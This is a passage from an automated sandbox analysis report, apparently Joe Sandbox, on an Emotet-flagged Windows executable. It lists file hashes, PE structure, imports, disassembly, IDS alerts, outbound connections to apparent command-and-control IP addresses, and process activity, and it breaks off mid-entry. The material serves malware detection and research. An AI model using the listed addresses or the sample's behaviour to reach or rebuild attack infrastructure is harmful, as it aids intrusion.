Preview:	..........................................................................................P......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................=.m.*..... ........z..........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P..........1P.....................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	data
Category:	modified
Size (bytes):	906
Entropy (8bit):	3.152601704217562
Encrypted:	false
SSDEEP:	12:58KRBubdpkoF1AG3rABD2iCk9+MlWlLehB4yAq7ejCpBD2iP:OaqdmuF3rg2iV+kWReH4yJ7M42iP
MD5:	2CA5726DE33B7191699EBFEEC4F7210C
SHA1:	0613DF20921345EFB902DFE198764AEF58BF6C9E
SHA-256:	00CFCED40E9C57E6C01FE432F6C4470A9330DE3DD47676C30294BB085A9EC9D5
SHA-512:	9D63083245C34A426097B74D9EF78CE8105CAA5B4CF4586F751C02774B91A2E79873A5B71F9C9694C22325031D6F97B4C617EF223DDC16884F18488E5F5A269A
Malicious:	false
Preview:	........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. J.u.l. .. 1.6. .. 2.0.2.1. .1.7.:.0.7.:.5.1.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. F.r.i. .. J.u.l. .. 1.6. .. 2.0.2.1. .1.7.:.0.7.:.5.1.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.359134894428257
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mormanti.exe
File size:	102912
MD5:	6c94edfea6e5ee001b00122c9d01bd8a
SHA1:	a8d0cc5088ee86c2be77afe157695d12e951f369
SHA256:	0154d1d06e755bda091168038f25c1dde101e3b77c66f88b73c71be84ffdaf6e
SHA512:	8e4f44f2680feb8fa564a26b3f283ce360d966e01b1585686e6eb23900f5e09d39e3b62b154604972091cc928f99f835ec2e042a5c06d7df29b8c225e3db447f
SSDEEP:	1536:jw9fHY8jOMiep0McpHa74EuSFGMpJ7q06VSE:srOMiep0ZpeuQJmpSE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........$~..J-..J-..J-:..-..J-...-..J-...-..J-...-..J-...-..J-.61-..J-..K-..J-...-..J-...-..J-...-..J-Rich..J-.......................

File Icon


Icon Hash:	9a8a808292808000

Static PE Info

General
Entrypoint:	0x402b60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5F325807 [Tue Aug 11 08:34:15 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	c75ae73417f3d8c7926ca2cc9989d6f5

Entrypoint Preview

Instruction
call 00007FA204A14198h
jmp 00007FA204A13A3Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004061D8h], eax
mov dword ptr [004061D4h], ecx
mov dword ptr [004061D0h], edx
mov dword ptr [004061CCh], ebx
mov dword ptr [004061C8h], esi
mov dword ptr [004061C4h], edi
mov word ptr [004061F0h], ss
mov word ptr [004061E4h], cs
mov word ptr [004061C0h], ds
mov word ptr [004061BCh], es
mov word ptr [004061B8h], fs
mov word ptr [004061B4h], gs
pushfd
pop dword ptr [004061E8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004061DCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004061E0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004061ECh], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00406128h], 00010001h
mov eax, dword ptr [004061E0h]
mov dword ptr [004060DCh], eax
mov dword ptr [004060D0h], C0000409h
mov dword ptr [004060D4h], 00000001h
mov eax, dword ptr [00406018h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [0040601Ch]
mov dword ptr [ebp-00000324h], eax
call dword ptr [00000068h]

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[IMP] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x48dc	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x144c4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0x454	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4230	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4450	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4000	0x200	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x243c	0x2600	False	0.655324835526	COM executable for DOS	6.36850956542	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x4000	0x1702	0x1800	False	0.40625	data	5.1131105028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x6000	0x648	0x200	False	0.232421875	data	2.09168969639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x7000	0x144c4	0x14600	False	0.486459930982	data	6.30306243713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0x70c	0x800	False	0.49853515625	data	4.44276595657	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x7550	0x2e8	data	English	United States
RT_ICON	0x7838	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x7960	0xea8	data	English	United States
RT_ICON	0x8808	0x8a8	data	English	United States
RT_ICON	0x90b0	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x9618	0x25a8	dBase III DBT, version number 0, next free block index 40	English	United States
RT_ICON	0xbbc0	0x10a8	data	English	United States
RT_ICON	0xcc68	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xd0d0	0x2e8	data	English	United States
RT_ICON	0xd3b8	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xd4e0	0xea8	data	English	United States
RT_ICON	0xe388	0x8a8	data	English	United States
RT_ICON	0xec30	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf198	0x25a8	dBase III DBT, version number 0, next free block index 40	English	United States
RT_ICON	0x11740	0x10a8	data	English	United States
RT_ICON	0x127e8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_MENU	0x12c50	0x4a	data	English	United States
RT_DIALOG	0x12c9c	0x140	data	English	United States
RT_STRING	0x12ddc	0x4c	data	English	United States
RT_ACCELERATOR	0x12e28	0x10	data	English	United States
RT_RCDATA	0x12e38	0x8344	data	English	United States
RT_GROUP_ICON	0x1b17c	0x76	data	English	United States
RT_GROUP_ICON	0x1b1f4	0x76	data	English	United States
RT_MANIFEST	0x1b26c	0x256	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	Sleep, InterlockedCompareExchange, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetTickCount, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, LoadLibraryExA, GetTickCount64, InterlockedExchange
USER32.dll	LoadIconW, LoadCursorW, RegisterClassExW, CreateWindowExW, ShowWindow, UpdateWindow, SetTimer, PostQuitMessage, DialogBoxParamW, DestroyWindow, DefWindowProcW, SetCapture, PtInRect, ReleaseCapture, BeginPaint, DispatchMessageW, TranslateMessage, TranslateAcceleratorW, GetMessageW, LoadAcceleratorsW, LoadStringW, OffsetRect, DrawTextA, FillRect, InvalidateRect, ReleaseDC, GetDC, GetClientRect, EndPaint, EndDialog
GDI32.dll	CreateSolidBrush, DeleteObject, DeleteDC, CreateCompatibleDC, CreateCompatibleBitmap, SelectObject, GetStockObject, SaveDC, RestoreDC, SetBkMode, BitBlt, CreateRectRgnIndirect, CreatePolygonRgn, CombineRgn, SelectClipRgn, Ellipse, Rectangle, CreatePen
MSVCP90.dll	??_D?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXXZ, ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z, ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z, ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ, ?uncaught_exception@std@@YA_NXZ, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z, ?str@?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@XZ, ??0?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@H@Z, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z
MSIMG32.dll	AlphaBlend, GradientFill
MSVCR90.dll	_amsg_exit, _CxxThrowException, __CxxFrameHandler3, _controlfp_s, _invoke_watson, _except_handler4_common, ?_type_info_dtor_internal_method@type_info@@QAEXXZ, ?terminate@@YAXXZ, _crt_debugger_hook, __set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _configthreadlocale, _initterm_e, _initterm, ??1exception@std@@UAE@XZ, ??3@YAXPAX@Z, ??0exception@std@@QAE@XZ, ??0exception@std@@QAE@ABV01@@Z, ??2@YAPAXI@Z, _invalid_parameter_noinfo, srand, rand, _time64, _wcslwr, atoi, _unlock, __dllonexit, _encode_pointer, _lock, _onexit, _decode_pointer, memcpy, __wgetmainargs, _cexit, _exit, _XcptFilter, exit, _wcmdln

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
07/16/21-17:07:12.259592	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.131.103.37	192.168.2.3
07/16/21-17:07:15.256691	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.131.103.37	192.168.2.3
07/16/21-17:07:21.273124	ICMP	486	ICMP Destination Unreachable Communication with Destination Host is Administratively Prohibited	104.131.103.37	192.168.2.3
07/16/21-17:07:42.618824	ICMP	399	ICMP Destination Unreachable Host Unreachable	72.10.63.118	192.168.2.3
07/16/21-17:07:45.806111	ICMP	399	ICMP Destination Unreachable Host Unreachable	72.10.63.118	192.168.2.3
07/16/21-17:07:51.997887	ICMP	399	ICMP Destination Unreachable Host Unreachable	72.10.63.118	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2021 17:06:20.542170048 CEST	49718	80	192.168.2.3	58.171.153.81
Jul 16, 2021 17:06:23.548013926 CEST	49718	80	192.168.2.3	58.171.153.81
Jul 16, 2021 17:06:29.548536062 CEST	49718	80	192.168.2.3	58.171.153.81
Jul 16, 2021 17:06:44.281224966 CEST	49727	443	192.168.2.3	104.131.103.128
Jul 16, 2021 17:06:44.403786898 CEST	443	49727	104.131.103.128	192.168.2.3
Jul 16, 2021 17:06:44.908982992 CEST	49727	443	192.168.2.3	104.131.103.128
Jul 16, 2021 17:06:45.031189919 CEST	443	49727	104.131.103.128	192.168.2.3
Jul 16, 2021 17:06:45.534087896 CEST	49727	443	192.168.2.3	104.131.103.128
Jul 16, 2021 17:06:45.657490969 CEST	443	49727	104.131.103.128	192.168.2.3
Jul 16, 2021 17:06:48.471726894 CEST	49728	8080	192.168.2.3	66.228.49.173
Jul 16, 2021 17:06:51.472075939 CEST	49728	8080	192.168.2.3	66.228.49.173
Jul 16, 2021 17:06:57.472614050 CEST	49728	8080	192.168.2.3	66.228.49.173
Jul 16, 2021 17:07:12.132922888 CEST	49734	8080	192.168.2.3	104.131.103.37
Jul 16, 2021 17:07:15.130383968 CEST	49734	8080	192.168.2.3	104.131.103.37
Jul 16, 2021 17:07:21.146560907 CEST	49734	8080	192.168.2.3	104.131.103.37
Jul 16, 2021 17:07:35.370628119 CEST	49740	8080	192.168.2.3	149.62.173.247
Jul 16, 2021 17:07:35.438725948 CEST	8080	49740	149.62.173.247	192.168.2.3
Jul 16, 2021 17:07:35.944820881 CEST	49740	8080	192.168.2.3	149.62.173.247
Jul 16, 2021 17:07:36.012451887 CEST	8080	49740	149.62.173.247	192.168.2.3
Jul 16, 2021 17:07:36.523617983 CEST	49740	8080	192.168.2.3	149.62.173.247
Jul 16, 2021 17:07:36.594460011 CEST	8080	49740	149.62.173.247	192.168.2.3
Jul 16, 2021 17:07:40.373577118 CEST	49741	7080	192.168.2.3	72.47.248.48
Jul 16, 2021 17:07:43.382858038 CEST	49741	7080	192.168.2.3	72.47.248.48
Jul 16, 2021 17:07:49.398936987 CEST	49741	7080	192.168.2.3	72.47.248.48
Jul 16, 2021 17:08:04.116400003 CEST	49744	8080	192.168.2.3	68.183.170.114
Jul 16, 2021 17:08:07.103610039 CEST	49744	8080	192.168.2.3	68.183.170.114
Jul 16, 2021 17:08:13.103981018 CEST	49744	8080	192.168.2.3	68.183.170.114

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2021 17:06:02.333093882 CEST	50200	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:02.398982048 CEST	53	50200	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:02.403018951 CEST	51281	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:02.455171108 CEST	53	51281	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:03.199887991 CEST	49199	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:03.251107931 CEST	53	49199	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:04.301538944 CEST	50620	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:04.360388994 CEST	53	50620	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:05.009922981 CEST	64938	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:05.080878973 CEST	53	64938	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:05.522526026 CEST	60152	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:05.575153112 CEST	53	60152	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:06.713778019 CEST	57544	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:06.763395071 CEST	53	57544	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:07.789093018 CEST	55984	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:07.841680050 CEST	53	55984	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:08.611358881 CEST	64185	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:08.670780897 CEST	53	64185	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:10.446573019 CEST	65110	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:10.504580975 CEST	53	65110	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:11.560636997 CEST	58361	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:11.613158941 CEST	53	58361	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:12.701705933 CEST	63492	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:12.751097918 CEST	53	63492	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:13.865761995 CEST	60831	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:13.920089960 CEST	53	60831	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:16.677190065 CEST	60100	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:16.726804018 CEST	53	60100	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:17.607249975 CEST	53195	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:17.669481039 CEST	53	53195	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:18.412681103 CEST	50141	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:18.466411114 CEST	53	50141	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:19.185880899 CEST	53023	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:19.238326073 CEST	53	53023	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:20.020277023 CEST	49563	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:20.072833061 CEST	53	49563	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:20.871370077 CEST	51352	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:20.925894976 CEST	53	51352	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:22.051337957 CEST	59349	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:22.109612942 CEST	53	59349	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:22.853486061 CEST	57084	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:22.902765989 CEST	53	57084	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:37.889744043 CEST	58823	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:37.957566977 CEST	53	58823	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:39.148256063 CEST	57568	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:39.210594893 CEST	53	57568	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:53.667342901 CEST	50540	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:53.735356092 CEST	53	50540	8.8.8.8	192.168.2.3
Jul 16, 2021 17:06:57.148108959 CEST	54366	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:06:57.205549002 CEST	53	54366	8.8.8.8	192.168.2.3
Jul 16, 2021 17:07:11.947230101 CEST	53034	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:07:12.015654087 CEST	53	53034	8.8.8.8	192.168.2.3
Jul 16, 2021 17:07:15.400922060 CEST	57762	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:07:15.462726116 CEST	53	57762	8.8.8.8	192.168.2.3
Jul 16, 2021 17:07:46.678647041 CEST	55435	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:07:46.753209114 CEST	53	55435	8.8.8.8	192.168.2.3
Jul 16, 2021 17:07:51.150878906 CEST	50713	53	192.168.2.3	8.8.8.8
Jul 16, 2021 17:07:51.219223976 CEST	53	50713	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 16, 2021 17:07:12.259592056 CEST	104.131.103.37	192.168.2.3	8f70	(Unknown)	Destination Unreachable
Jul 16, 2021 17:07:15.256690979 CEST	104.131.103.37	192.168.2.3	8f70	(Unknown)	Destination Unreachable
Jul 16, 2021 17:07:21.273123980 CEST	104.131.103.37	192.168.2.3	8f70	(Unknown)	Destination Unreachable

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: mormanti.exe PID: 3412 Parent PID: 5572

General

Start time:	17:06:08
Start date:	16/07/2021
Path:	C:\Users\user\Desktop\mormanti.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\mormanti.exe'
Imagebase:	0xc10000
File size:	102912 bytes
MD5 hash:	6C94EDFEA6E5EE001B00122C9D01BD8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: eventvwr.exe PID: 2416 Parent PID: 3412

General

Start time:	17:06:09
Start date:	16/07/2021
Path:	C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe
Imagebase:	0xc10000
File size:	102912 bytes
MD5 hash:	6C94EDFEA6E5EE001B00122C9D01BD8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.465228013.0000000001140000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.465253689.0000000001151000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 3148 Parent PID: 568

General

Start time:	17:06:15
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 384 Parent PID: 568

General

Start time:	17:06:35
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2168 Parent PID: 568

General

Start time:	17:06:37
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5924 Parent PID: 568

General

Start time:	17:06:45
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4744 Parent PID: 568

General

Start time:	17:06:46
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4880 Parent PID: 568

General

Start time:	17:06:47
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 1276 Parent PID: 568

General

Start time:	17:06:47
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4936 Parent PID: 568

General

Start time:	17:06:47
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5588 Parent PID: 568

General

Start time:	17:06:48
Start date:	16/07/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 3468 Parent PID: 568

General

Start time:	17:06:49
